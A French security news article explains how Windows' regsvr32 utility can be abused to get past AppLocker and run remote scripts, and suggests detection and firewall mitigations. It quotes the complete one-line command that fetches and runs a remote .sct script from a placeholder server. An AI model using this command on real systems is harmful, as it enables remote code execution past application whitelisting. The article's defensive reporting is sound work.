Sécurité IT : Windows sous la menace RegSVR32
Fonction « essentielle » de Windows, RegSVR32 peut être exploitée pour injecter et exécuter du code malveillant en laissant un minimum de traces.
On aura pu constater, ces derniers jours dans le monde de la sécurité informatique, un certain emballement autour de RegSVR32.
Cet utilitaire en ligne de commande permet d’inscrire et de désinscrire, dans le registre Windows, des DLL et des contrôles ActiveX.
Le dénommé Casey Smith y a découvert une fonction qui permet d’exécuter du code à distance en contournant les principales protections de l’OS et ne laissant presque aucune trace.
À l’origine, il cherchait à mettre en place un reverse-shell* sur un poste de travail. Mais ledit poste était verrouillé par l’outil AppLocker, avec des règles bien particulières pour l’exécution d’applications.
Il a fini par trouver la « commande ultime » pour passer outre cette limitation : regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll.
Qu’est-ce qui pose ici problème ? Le fait que RegSVR32 puisse accepter une URL pointant vers un script, local ou distant, le tout sans nécessiter de privilèges administrateur et sans altérer le registre.
Considéré comme de confiance en tant que « fonction essentielle » de Windows, RegSVR32 gère parfaitement les proxys, les redirections et le HTTPS. Bilan : il suffit, pour un pirate, d’héberger son script sur un domaine qu’il contrôle. Et cela peut fonctionner avec d’autres formats de fichiers que le .sct (documents XML), comme le démontrent plusieurs PoC (« Proof of Concept ») publiés sur GitHub.
Pour détecter une attaque, il faut surveiller le dossier des fichiers temporaires associé à Internet Explorer (c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5).
La solution la plus suggérée est de bloquer, via le pare-feu Windows, tout accès au réseau pour RegSVR32 (%systemroot%\System\regsvr32.exe) et éventuellement RegSVR64 sur les systèmes 64 bits (%systemroot%\SysWoW64\regsvr32.exe).
Certains suggèrent d’activer Device Guard avec la protection contre les scripts. Mais cela ne semble applicable qu’à Windows 10 Enterprise avec Hyper-V.
* Alors que le shell fonctionne sur le mode client-serveur, avec le reverse-shell, c’est le serveur qui se connecte au client. Ces flux sont rarement bloqués par les pare-feu. Un avantage… notamment pour les pirates informatiques.
Crédit photo : Rawpixel.com – Shutterstock.com